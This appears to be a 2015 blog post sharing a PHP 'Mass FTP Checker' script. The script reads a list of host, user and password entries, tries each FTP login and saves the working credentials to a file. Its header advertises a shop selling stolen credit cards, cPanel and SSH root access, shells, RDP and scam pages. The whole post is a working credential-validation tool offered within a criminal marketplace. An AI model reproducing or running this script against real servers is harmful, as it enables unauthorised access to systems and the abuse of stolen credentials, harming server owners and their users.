Sunday, March 8, 2015

[Php] Mass FTP Checker

 <?php  
 #####################################################################################################################  
 #[+] Usage: php ftpchecker.php file.txt[+]                                                                          #  
 #                                                                                                                   #  
 #Recoded By ccfresh.info                                                                                            #  
 #Yogyacarder.link                                                                                                   #  
 #Ready Stock:                                                                                                       #  
 #CC Fresh | cPanel | Shell | Mailer | RDP | SSH root | SSH Tuneling | FTP | WebMail | SMTP | Email Leads | ScamPages#  
 #Contact YM: ccfresh.info Email: ccfresh.info@yahoo.com                                                             #  
 #####################################################################################################################  
      if(count($argv) < 2){  
           echo "===========================\n";  
           echo "[+] PHP Mass FTP Checker\n";  
           echo "[+] Recoded By ccfresh.info\n";  
           echo "[+] Usage: php $argv[0] file.txt\n";  
           echo "[+] file.txt must be: <host> <user> <password><space>\n";  
           echo "[+] |ccfresh.info ccfresh mypassword | (end with space)\n";  
           echo "===========================";  
           exit();  
      }  
      $file = $argv[1];  
      $detail = file_get_contents($file);  
      $ftps = explode("\n",$detail);  
      function pecah_ftp($ftp1){  
           $ftp = array();  
           $s = explode(" ",$ftp1);  
           $ftp['host'] = $s[0];            
           $ftp['user'] = $s[1];  
           $ftp['pass'] = $s[2];  
           return $ftp;  
      }  
      foreach($ftps as $ftp1){  
           echo "\nChecking ".$ftp1 . PHP_EOL;  
           $ftp = pecah_ftp($ftp1);  
           echo $ftp['host']."\n";  
           echo $ftp['user']."\n";  
           echo $ftp['pass']."\n";  
                $ftp_server = $ftp['host'];  
                $ftp_user = $ftp['user'];  
                $ftp_pass = $ftp['pass'];  
                // set up a connection or die  
                $timeout = 5;  
                $conn_id = ftp_connect($ftp_server,21,$timeout);   
                // try to login  
                if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {  
                     echo "Connected as $ftp_user@$ftp_server\n";  
                     $fl=fopen("ftplive.txt","a");  
                     fwrite($fl,$ftp_server." ".$ftp_user." ".$ftp_pass."\n");  
                     fclose($fl);  
                     ftp_close($conn_id);  
                } else {  
                     echo "Couldn't connect as $ftp_user\n";  
                }  
 }  
 ?>  

No comments :